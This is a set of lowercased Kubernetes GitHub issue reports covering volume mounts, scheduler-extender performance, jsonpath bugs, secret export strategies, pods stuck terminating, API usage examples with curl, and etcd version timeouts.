readonlymany\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: standard\r   volumename: pvc-ef61c6e5-a4f7-11e8-9e7b-e267fa715d27\r status:\r   accessmodes:\r   - readonlymany\r   capacity:\r     storage: 1gi\r   phase: bound\r    \r here's what the job definition looks like from kubectl:\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   creationtimestamp: 2018-08-21t04:22:25z\r   labels:\r     controller-uid: ce9849e6-a4f9-11e8-9e7b-e267fa715d27\r     job-name: myjobname\r   name: myjobname\r   namespace: default\r   resourceversion: \ 1279484\ \r   selflink: /apis/batch/v1/namespaces/default/jobs/myjobname\r   uid: ce9849e6-a4f9-11e8-9e7b-e267fa715d27\r spec:\r   activedeadlineseconds: 10\r   backofflimit: 6\r   completions: 1\r   parallelism: 1\r   selector:\r     matchlabels:\r       controller-uid: ce9849e6-a4f9-11e8-9e7b-e267fa715d27\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         controller-uid: ce9849e6-a4f9-11e8-9e7b-e267fa715d27\r         job-name: lambda-61927164-2e0d-4f25-863e-5392fb8889ea\r     spec:\r       containers:\r       - env:\r         - name: aws_lambda_function_handler\r           value: ...\r         - name: aws_lambda_event_body\r           value: ...\r         image: lambci/lambda:java8\r         imagepullpolicy: ifnotpresent\r         name: docker-lambda\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: never\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   completiontime: 2018-08-21t04:22:26z\r   conditions:\r   - lastprobetime: 2018-08-21t04:22:26z\r     lasttransitiontime: 2018-08-21t04:22:26z\r     status: \ true\ \r     type: complete\r   starttime: 2018-08-21t04:22:25z\r   succeeded: 1\r    \r perhaps i'm missing something. do all volumes get un-mounted when a pod in a job is \ complete\ ? what's strange is that during the pod's lifecycle, it does appear that the volume is not mounted because the docker-lambda container complains that it cannot find the lambda job handler code.\r

what would you like to be added  :\r improve scheduler perormence when using scheduler extender\r \r   why is this needed  :\r we customize our cluster's schedule policy by an extender, as our cluster growe bigger and bigger, the scheduler's throughput becomes the bottleneck. when cluster's node number bigger than 1000, it seems that schedule throughput less then 10pod/s, i have made some plots to illustrate this.\r \r ! image  https://user-images.githubusercontent.com/11574918/50760172-fde21e80-12a1-11e9-88dd-2709a689c624.png \r pic 1: cluster of 100 nodes\r \r ! image  https://user-images.githubusercontent.com/11574918/50760198-0fc3c180-12a2-11e9-8b66-a746771dea66.png \r pic 2: cluster of 500 nodes\r \r ! image  https://user-images.githubusercontent.com/11574918/50760214-1baf8380-12a2-11e9-829e-71994855273e.png \r pic 3: clusrer of 1000 nodes\r \r plus: making this plot by scan pod's field: metadata.createiontimestap, status.conditions \ podscheduled\  .lasttransitiontime and status.conditions \ ready\  .lasttransitiontime, maybe those timestamps not accurate enough, but can indicate something roughly.\r \r i try to figure out why it's so slow and find it mainly caused by http transmission json format  between extender, both scheduler and extender need lots of time to marshal/unmarshal json as showed in flame graph blew:\r ! image  https://user-images.githubusercontent.com/11574918/50760785-a775df80-12a3-11e9-913b-284cffa6c930.png \r pic 4:  flame graph of kube-scheduler when 1000 nodes\r \r as well as my extender programer has this problem:\r ! image  https://user-images.githubusercontent.com/11574918/50761238-d476c200-12a4-11e9-9eb7-a364b2800193.png \r pic 5:  flame graph of my extender process when 1000 nodes\r \r my extender's schedule policy takes a tiny time in predicate step from the picture above.  the payload of http body is 2.24m per requst when 1000 nodes, so the json encode/decode could be an expensive action.\r \r some guys has mentioned this problem before  60697,  59980 , is there any effort have we mad? or some workarounds?  or some advise i can work for?

currently our jsonpath initial realization is in this pr: https://github.com/kubernetes/kubernetes/pull/11738 we found lot of problem or bugs with this version of implementation below:\r \r -     https://github.com/kubernetes/client-go/issues/158  jsonpath parser will not filter strings containing parentheses \r -     https://github.com/kubernetes/kubernetes/issues/45546  jsonpath: missing  left' in filter has confusing error message and fails unexpectedly  \r -     https://github.com/kubernetes/kubernetes/pull/47421   jsonpath: don't recurse into structs that are not actually nested \r -      https://github.com/kubernetes/kubernetes/issues/36391  jsonpath not drilling down into an rs .spec.template.metadata.name \r -     https://github.com/kubernetes/kubernetes/issues/20352  jsonpath nested condition and multiple conditions are not working \r -     https://github.com/kubernetes/kubernetes/issues/27090  kubectl get -o jsonpath does not handle objects with rawextension  this one maybe a more cli related issue.\r \r i think our current implementation is somehow a little hard-coded, and we lack of a common syntax for our jsonpath rules, although there's some ref: https://kubernetes.io/docs/user-guide/jsonpath/ , http://goessner.net/articles/jsonpath/ here. i disscussed with @mtaufen before and if we can find a good third-party lib with more rigorous implementation that would be good, but for now i can't find one.\r \r cc @smarterclayton @bgrant0607 @lavalamp @pwittrock @mtaufen  just wrote this umbrella issue maybe for future track\r \r

 \r   what happened  :\r \r secrets have some export logic in their strategy, but does not appear to take effect on the command line when doing a kubectl get --export.\r \r   what you expected to happen  :\r \r some kind of error given the condition in the secret strategy mentioned below. however it appears the secret strategy export function may not be wired up.  as well as several other types \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ kubeadm init\r $ kubectl get secret default-token-w5cs4 -o yaml --export\r    \r \r no error is thrown, some generic metadata is stripped but the code is happy to export the object despite the fact that it violates the condition mentioned below.\r \r   anything else we need to know?  :\r \r in the generic registry store we can see the main place where exports should be run:\r \r https://github.com/kubernetes/kubernetes/blob/10dc1aac61f8f2e9a9381a525289d8ae87ba0cc9/staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store.go l1227\r \r this exportstrategy is set in a handful of strategies, such as:\r \r https://github.com/kubernetes/kubernetes/blob/10dc1aac61f8f2e9a9381a525289d8ae87ba0cc9/pkg/registry/core/limitrange/storage/storage.go l46\r \r in addition to limitrange we find similar for node, podtemplate, and service strategies.\r \r however several other strategies have an export function defined matching: export ctx genericapirequest.context, obj runtime.object, exact bool  error\r \r    \r  dgoodwin@wrx {master} ~/go/src/k8s.io/kubernetes  $ git grep export | grep context | grep object | grep bool\r pkg/registry/certificates/certificates/strategy.go:func  s csrstrategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/core/limitrange/strategy.go:func  limitrangestrategy  export genericapirequest.context, runtime.object, bool  error {\r pkg/registry/core/node/strategy.go:func  ns nodestrategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/core/podtemplate/strategy.go:func  podtemplatestrategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/core/secret/strategy.go:func  s strategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/core/service/strategy.go:func  svcstrategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/rbac/clusterrole/strategy.go:func  s strategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/rbac/clusterrolebinding/strategy.go:func  s strategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/rbac/role/strategy.go:func  s strategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r pkg/registry/rbac/rolebinding/strategy.go:func  s strategy  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store_test.go:func  t testpodexport  export ctx genericapirequest.context, obj runtime.object, exact bool  error {\r staging/src/k8s.io/apiserver/pkg/registry/rest/export.go:       export ctx genericapirequest.context, obj runtime.object, exact bool  error\r    \r \r looking specifically at the secret strategy: https://github.com/kubernetes/kubernetes/blob/10dc1aac61f8f2e9a9381a525289d8ae87ba0cc9/pkg/registry/core/secret/strategy.go l79\r \r it appears that this export method may not be wired up and thus is unused. in testing with kubectl on the api, it appears we cannot get the condition on line 90 in the link above to trigger even if trying to kubectl get --export secrets x where x is of type kubernetes.io/service-account-token, or is tied to a service account by uid.\r \r this may imply that secret, clusterrole, clusterrolebinding, role, and rolebinding strategies all have an export function defined that is not used.\r \r the fix might just be as simple as setting exportstrategy in places such as: https://github.com/kubernetes/kubernetes/blob/10dc1aac61f8f2e9a9381a525289d8ae87ba0cc9/pkg/registry/core/secret/storage/storage.go l44\r \r if so please let me know and i will try to pursue unit tests and a fix for each.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r      \r   client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r \r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux centos1.aos.example.com 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm, oc\r \r

--enable-custom-metrics marked deprecated in https://github.com/kubernetes/kubernetes/pull/54154\r the flag should be removed in v1.11.

 \r   what happened  :\r using  yamltojsondecoder  subsequent reads after  io.errshortbuffer  would return values from the next yaml section, rather than the rest of the section being read.\r \r   what you expected to happen  :\r \r i'd expect the rest of the current section to get returned until the whole section has been read\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see tests here: https://github.com/kubernetes/kubernetes/pull/58817/files diff-3b3ea800b8ebe625d0defd76c2e6f827r57\r \r \r   anything else we need to know?  :\r \r pr to fix: https://github.com/kubernetes/kubernetes/pull/58817

is this a bug report or feature request?:  \r  \r   what happened  :\r \r pods stuck in  terminating  status due to:\r    \r kubelet 8529 : i0614 19:34:44.845552    8529 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-98h5w\   uniquename: \ kubernetes.io/secret/xxxx-xxxx-xxxx-xxxx-xxxx-default-token-xxxx\   pod \ xxxx-xxxx-xxxx-xxxx-xxxx\   uid: \ xxxx-xxxx-xxxx-xxxx-xxxx\  \r jun 14 19:34:44 cskwrk001d1pteo.lin.d1.adform.zone kubelet 8529 : e0614 19:34:44.845970    8529 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/secret/xxxx-xxxx-xxxx-xxxx-xxxx-default-token-xxxx\\\   \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\  \  failed. no retries permitted until 2018-06-14 19:36:46.845913615 +0200 cest m=+1842.055811319  durationbeforeretry 2m2s .\r error: \ unmountvolume.teardown failed for volume \\\ default-token-xxxxx\\\   uniquename: \\\ kubernetes.io/secret/xxxx-xxxx-xxxx-xxxx-xxxx-default-token-xxxx\\\   pod \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\   uid: \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\   : remove /var/lib/kubelet/pods/xxxx-xxxx-xxxx-xxxx-xxxx/volumes/kubernetes.io~secret/default-token-xxxx: device or resource busy\ \r    \r \r this affects secrets and configmaps:\r    \r kubelet 14798 : e0614 16:56:22.044217   14798 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/configmap/xxxx-xxxx-xxxx-xxxx-xxxx-video\\\   \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\  \  failed. no retries permitted until 2018-06-14 16:56:54.044177061 +0200 cest m=+76.585669113  durationbeforeretry 32s . error: \ error cleaning subpath mounts for volume \\\ video\\\   uniquename: \\\ kubernetes.io/configmap/xxxx-xxxx-xxxx-xxxx-xxxx-video\\\   pod \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\   uid: \\\ xxxx-xxxx-xxxx-xxxx-xxxx\\\   : error deleting /var/lib/kubelet/pods/xxxx-xxxx-xxxx-xxxx-xxxx/volume-subpaths/video/nginx/1: remove /var/lib/kubelet/pods/xxxx-xxxx-xxxx-xxxx-xxxx/volume-subpaths/video/nginx/1: device or resource busy\ \r    \r \r   what you expected to happen  :\r pods should be deleted upon instructing to delete deployment or pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kube-apiserver.service :\r    \r  unit \r description=kubernetes api server\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=network.target\r after=etcd.service\r \r  service \r restart=on-failure\r restartsec=5s\r limitnofile=40000\r \r execstart=/usr/local/bin/kube-apiserver \\\r   --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,persistentvolumeclaimresize,defaultstorageclass,validatingadmissionwebhook,resourcequota,defaulttolerationseconds,mutatingadmissionwebhook \\\r   --feature-gates=expandpersistentvolumes=true \\\r   --advertise-address=xxxx \\\r   --allow-privileged=true \\\r   --apiserver-count=3 \\\r   --audit-log-maxage=30 \\\r   --audit-log-maxbackup=3 \\\r   --audit-log-maxsize=100 \\\r   --audit-log-path=/var/log/audit.log \\\r   --authorization-mode=node,rbac \\\r   --bind-address=0.0.0.0 \\\r   --client-ca-file=/var/lib/kubernetes/certificates/ca.pem \\\r   --enable-swagger-ui=true \\\r   --etcd-cafile=/var/lib/kubernetes/certificates/ca.pem \\\r   --etcd-certfile=/var/lib/kubernetes/certificates/kubernetes.pem \\\r   --etcd-keyfile=/var/lib/kubernetes/certificates/kubernetes-key.pem \\\r   --etcd-servers=https://xxxx:2379,https://xxxx:2379,https://xxxx:2379 \\\r   --event-ttl=1h \\\r   --experimental-encryption-provider-config=/var/lib/kubernetes/encryption-config.yaml \\\r   --kubelet-certificate-authority=/var/lib/kubernetes/certificates/ca.pem \\\r   --kubelet-client-certificate=/var/lib/kubernetes/certificates/kubernetes.pem \\\r   --kubelet-client-key=/var/lib/kubernetes/certificates/kubernetes-key.pem \\\r   --kubelet-https=true \\\r   --runtime-config=api/all,admissionregistration.k8s.io/v1alpha1 \\\r   --service-account-key-file=/var/lib/kubernetes/certificates/ca-key.pem\\\r   --service-cluster-ip-range=xxxx \\\r   --service-node-port-range=53-32767 \\\r   --tls-cert-file=/var/lib/kubernetes/certificates/kubernetes.pem \\\r   --tls-private-key-file=/var/lib/kubernetes/certificates/kubernetes-key.pem \\\r   --v=2\r \r  install \r wantedby=multi-user.target\r    \r \r  kube-controller-manager.service :\r    \r  unit \r description=kubernetes controller manager\r documentation=https://github.com/googlecloudplatform/kubernetes\r \r  service \r restart=on-failure\r restartsec=5s\r limitnofile=40000\r \r execstart=/usr/local/bin/kube-controller-manager \\\r   --feature-gates=expandpersistentvolumes=true \\\r   --concurrent-endpoint-syncs=10 \\\r   --kube-api-qps=300 \\\r   --kube-api-burst=350 \\\r   --address=0.0.0.0 \\\r   --cluster-cidr=xxxx \\\r   --cluster-name=xxxx \\\r   --cluster-signing-cert-file=/var/lib/kubernetes/certificates/ca.pem \\\r   --cluster-signing-key-file=/var/lib/kubernetes/certificates/ca-key.pem \\\r   --leader-elect=true \\\r   --pod-eviction-timeout=1m \\\r   --horizontal-pod-autoscaler-upscale-delay=1m \\\r   --horizontal-pod-autoscaler-use-rest-clients=false \\\r   --kubeconfig=/var/lib/kubernetes/certificates/kube-controller-manager.kubeconfig \\\r   --root-ca-file=/var/lib/kubernetes/certificates/ca.pem \\\r   --service-account-private-key-file=/var/lib/kubernetes/certificates/ca-key.pem \\\r   --service-cluster-ip-range=xxxx \\\r   --use-service-account-credentials=true \\\r   --v=2\r \r  install \r wantedby=multi-user.target\r    \r \r  kubelet :\r    \r  unit \r description=kubernetes kubelet\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r execstart=/usr/local/bin/kubelet \\\r   --allow-privileged=true \\\r   --anonymous-auth=false \\\r   --authorization-mode=webhook \\\r   --cadvisor-port=xxxx \\\r   --client-ca-file=/var/lib/kubernetes/certificates/ca.pem \\\r   --cluster-dns=xxxx \\\r   --cluster-domain=xxxx \\\r   --container-runtime=docker \\\r   --image-pull-progress-deadline=2m \\\r   --kubeconfig=/var/lib/kubelet/xxxx.kubeconfig \\\r   --network-plugin=cni \\\r   --register-node=true \\\r   --runtime-request-timeout=15m \\\r   --tls-cert-file=/var/lib/kubelet/xxxx.pem \\\r   --tls-private-key-file=/var/lib/kubelet/xxxx-key.pem \\\r   --v=2\r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:  baremetal \r - os  e.g. from /etc/os-release :  centos linux release 7.5.1804  core  \r - kernel  e.g.  uname -a  : 3.10.0-693.17.1.el7.x86_64 \r - docker version:\r    \r   rpm -qa | grep docker\r docker-engine-selinux-17.03.1.ce-1.el7.centos.noarch\r docker-engine-17.03.1.ce-1.el7.centos.x86_64\r    \r - install tools:  manually \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : the pod was failed while deploying  stuck at containercreating state .\r \r   what you expected to happen  : the pods should be successfully deployed and work normally  this bug seems to be on and off for a few days . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r ! error  https://user-images.githubusercontent.com/6527224/54458755-04699800-4722-11e9-9e1f-902bd7052bbc.png \r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.13\ , gitcommit:\ 14ea65f53cdae4a5657cf38cfc8d7349b75b5512\ , gittreestate:\ clean\ , builddate:\ 2017-11-22t20:29:21z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.13\ , gitcommit:\ 14ea65f53cdae4a5657cf38cfc8d7349b75b5512\ , gittreestate:\ clean\ , builddate:\ 2017-11-22t20:19:06z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: digital ocean \r \r - os  e.g:  cat /etc/os-release  : ubuntu\r \r - kernel  e.g.  uname -a  : linux 4.15.0-46-generic  49~16.04.1-ubuntu smp tue feb 12 17:45:24 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others: the testing code is at https://github.com/anrgusc/jupiter/tree/verify_coded_pricing\r \r 

the api docs don't have a great on-ramp for explaining how to use the api directly. we have some example docs from the dcos docs, that don't really belong there. i'd like to donate them to the k8s api docs, but i'm not sure where to put them. any ideas where these would go?  unfortunately, it somewhat overlaps with the walkthrough 101 page, but the rest api bits don't really belong there...  ---      <a name=\ pod\ ></a>create a kubernetes pod definition  a  pod  https://github.com/googlecloudplatform/kubernetes/blob/release-1.0/docs/user-guide/pods.md  is one or more containers that are co-located on the same host. in this example we’re creating a pod which runs nginx.  create the example nginx pod definition:      $ cat > nginx-pod.json <<eof {     \ kind\ : \ pod\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ :{         \ name\ : \ nginx\ ,         \ namespace\ : \ default\ ,         \ labels\ : {             \ name\ : \ nginx\          }     },     \ spec\ : {         \ containers\ :  {             \ name\ : \ nginx\ ,             \ image\ : \ nginx\ ,             \ ports\ :  {\ containerport\ : 80} ,             \ resources\ : {                 \ limits\ : {                     \ memory\ : \ 128mi\ ,                     \ cpu\ : \ 500m\                  }             }         }      } } eof      this pod consists of one container named  nginx  which is allocated 128 mb of memory and half a cpu share.  ---      <a name=\ service\ ></a>create a kubernetes service definition  a  service inside kubernetes  https://github.com/googlecloudplatform/kubernetes/blob/release-1.0/docs/user-guide/services.md  is an abstraction that gives a pod  or an external service  a named endpoint. in order to expose the nginx server to the web, you must create a kubernetes service that refers to it.  create an example nginx service definition:      $ cat > nginx-service.json <<eof {     \ kind\ : \ service\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ nginx-service\ ,         \ namespace\ : \ default\ ,         \ labels\ : {\ name\ : \ nginx\ }     },     \ spec\ : {         \ ports\ :  {\ port\ : 80} ,         \ selector\ : {\ name\ : \ nginx\ }     } } eof      ---      <a name=\ rest\ ></a>launch a kubernetes pod and service by using rest api  you can use pure rest with a simple http command-line tool like curl to access the apiserver api directly. 1.  create the nginx pod:               $ curl $kubernetes_master/v1/namespaces/default/pods \\        -xpost -h'content-type: application/json' -d@nginx-pod.json        2.  list all created kubernetes pods:               $ curl $kubernetes_master/v1/pods        3.  create the nginx service:               $ curl $kubernetes_master/v1/namespaces/default/services \\        -xpost -h'content-type: application/json' -d@nginx-service.json        4.  list all created kubernetes services:               $ curl $kubernetes_master/v1/services        5.  use the service through the api server proxy:               $ curl $kubernetes_master/v1/proxy/namespaces/default/services/nginx-service/        6.  delete the nginx service:               $ curl $kubernetes_master/v1/namespaces/default/services/nginx-service -xdelete        7.  delete the nginx pod:               $ curl $kubernetes_master/v1/namespaces/default/pods/nginx -xdelete

the current build system is several thousand lines of confusing bash that breaks in subtle   30546, for example  and unexpected ways.  i would like to move toward this world: - if a developer is familiar with the go tool and has their environment set up, they should be able to do a local, iterative build. it should be clear what commands are actually being run. - if necessary, a developer should be able to do a fully dockerized build. inside the container, the dockerized build should be identical to the above build.  right now we are in an awkward in-between, where parts of the build happen locally and parts happen in the build container. i have the start of a pr that accomplishes this over at  27746, but i think it's worth opening up this issue to discuss other ideas.  bazel, anyone? what about deprecating the entire build folder and starting from scratch so that we're not forced to honor every environment variable that snuck in over the last few years?  cc @thockin @david-mcmahon @jbeda @ixdy

inside portforwardtester container in portforwardtester.go line 52      go        listener, err := net.listen \ tcp\ , fmt.sprintf \ localhost:%s\ , bindport        it causes app to only listen on the local interface, its not the problem with namespace based runtimes cause we can use nsenter. with hypervisor based runtimes we need app to be available on external address, so line mentioned above should look like:      go        listener, err := net.listen \ tcp\ , fmt.sprintf \ 0.0.0.0:%s\ , bindport        @ncdc ptal cause i don't know who is owner of this container @feiskyer could you check if this is a problem for hyper too ?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce/478/  failed:  k8s.io  kubectl client  k8s.io  simple pod should support exec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:321 sep 29 07:00:46.480: unexpected kubectl exec output. wanted \ running in container\ , got \ \  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:295      previous issues for this test:  28426  32168

i found this when moving stateful set from v1alpha1 to v1beta1.\r \r although  hack/update-generated-protobuf.sh  is called in  hack/update-all.sh , after  hack/update-all.sh  is done,  hack/verify-generated-protobuf.sh  still fails. \r \r running  hack/update-generated-protobuf.sh  again makes it pass the verification, but it's quite annoying. \r \r i wonder if  hack/update-generated-protobuf.sh  should be called after some other update script in  update-all.sh   right now it's the first one called . \r \r @kubernetes/sig-api-machinery

noticed that in  here  https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/40927/pull-kubernetes-unit/20362/build-log.txt , this part:\r    \r w0227 04:39:11.830  e0227 04:39:11.830126   21448 actual_state_of_world.go:461  failed to set statusupdateneeded to needed true because nodename=\ node-v1-test\   does not exist\r w0227 04:39:11.830  e0227 04:39:11.830158   21448 actual_state_of_world.go:475  failed to update statusupdateneeded field in actual state of world: failed to set statusupdateneeded to needed true because nodename=\ node-v1-test\   does not exist\r i0227 04:39:11.931  node \ node-v1-test\  created\r w0227 04:39:12.232  error from server  conflict : error when replacing \ stdin\ : operation cannot be fulfilled on nodes \ node-v1-test\ : the object has been modified; please apply your changes to the latest version and try again\r w0227 04:39:12.239  !!!  0227 04:39:12  call tree:\r w0227 04:39:12.241  !!!  0227 04:39:12   1: /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh:2917 run_pod_tests ... \r    \r \r \r @kubernetes/sig-node-bugs || @kubernetes/sig-storage-bugs can you have a look at it?

\r \r   is this a request for help?   : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   : kube-apiserver, etcd\r \r ---\r \r   is this a bug report or feature request?    choose one : feature perhaps\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.0-alpha.3\r \r \r   environment  : \r -   cloud provider or hardware configuration  : local vm\r -   os    e.g. from /etc/os-release : ubuntu 16\r -   kernel    e.g.  uname -a  : linux ubuntu 4.4.0-57-generic  78-ubuntu smp fri dec 9 23:50:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  : manual\r -   others  :\r \r \r   what happened  :\r url http://localhost:8080/api/v1/nodes \r accessed in a browser.\r the returned page reads:\r    \r {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the list operation against nodes could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ list\ ,\ kind\ :\ nodes\ },\ code\ :500}}\r    \r \r   what you expected to happen  :\r in the browser and in the logs it should clearly tell that the etcd version was wrong or etcd is not accessible. \r in that case a remedy was to start etcd  3.1.2 instead of 2.3.7\r \r   how to reproduce it    as minimally and precisely as possible :\r all the binaries build from latest source code.\r started etcd:\r /tmp/etcd/etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.dhfgs88lpw1231312312 --listen-client-urls http://127.0.0.1:2379 --debug\r \r etcd logs:\r    \r 2017-02-27 14:38:12.597199 i | etcdmain: etcd version: 2.3.7\r 2017-02-27 14:38:12.597310 i | etcdmain: git sha: fd17c91\r 2017-02-27 14:38:12.597343 i | etcdmain: go version: go1.6.2\r 2017-02-27 14:38:12.597369 i | etcdmain: go os/arch: linux/amd64\r 2017-02-27 14:38:12.597379 i | etcdmain: setting maximum number of cpus to 4, total number of available cpus is 4\r    \r \r started kube-apiserver:\r ./kube-apiserver --etcd-servers=http://127.0.0.1:2379 --service-cluster-ip-range=10.0.0.0/16 --secure-port=0 -v=9\r \r in a browser accessed url: http://localhost:8080/api/v1/nodes\r \r after a while browser returned:\r {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the list operation against nodes could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ list\ ,\ kind\ :\ nodes\ },\ code\ :500}}\r \r kube-apiserver logs:\r    \r i0227 14:39:32.185029   25785 round_trippers.go:417  get http://127.0.0.1:8080/apis/extensions/v1beta1/thirdpartyresources 504 gateway timeout in 60001 milliseconds\r i0227 14:39:32.185072   25785 round_trippers.go:423  response headers:\r i0227 14:39:32.185248   25785 round_trippers.go:426      date: mon, 27 feb 2017 14:39:32 gmt\r i0227 14:39:32.185342   25785 round_trippers.go:426      content-length: 286\r i0227 14:39:32.185499   25785 round_trippers.go:426      content-type: text/plain; charset=utf-8\r i0227 14:39:32.185651   25785 request.go:991  response body: {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the list operation against thirdpartyresources.extensions could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ list\ ,\ group\ :\ extensions\ ,\ kind\ :\ thirdpartyresources\ },\ code\ :500}}\r w0227 14:39:32.185839   25785 storage_extensions.go:127  third party resource sync failed: the server cannot complete the requested operation at this time, try again later  get thirdpartyresources.extensions \r i0227 14:39:33.186009   25785 round_trippers.go:417  get http://127.0.0.1:8080/apis/rbac.authorization.k8s.io/v1beta1/clusterroles/cluster-admin 504 gateway timeout in 60001 milliseconds\r i0227 14:39:33.186396   25785 round_trippers.go:423  response headers:\r i0227 14:39:33.186711   25785 round_trippers.go:426      content-type: text/plain; charset=utf-8\r i0227 14:39:33.186765   25785 round_trippers.go:426      date: mon, 27 feb 2017 14:39:33 gmt\r i0227 14:39:33.186781   25785 round_trippers.go:426      content-length: 300\r i0227 14:39:33.186886   25785 request.go:991  response body: {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the get operation against clusterroles.rbac.authorization.k8s.io could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ get\ ,\ group\ :\ rbac.authorization.k8s.io\ ,\ kind\ :\ clusterroles\ },\ code\ :500}}\r e0227 14:39:33.187064   25785 storage_rbac.go:162  unable to reconcile clusterrole.rbac.authorization.k8s.io/cluster-admin: the server cannot complete the requested operation at this time, try again later  get clusterroles.rbac.authorization.k8s.io cluster-admin \r i0227 14:39:33.187258   25785 round_trippers.go:398  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kube-apiserver/v0.0.0  linux/amd64  kubernetes/$format\  http://127.0.0.1:8080/apis/rbac.authorization.k8s.io/v1beta1/clusterroles/system:discovery\r 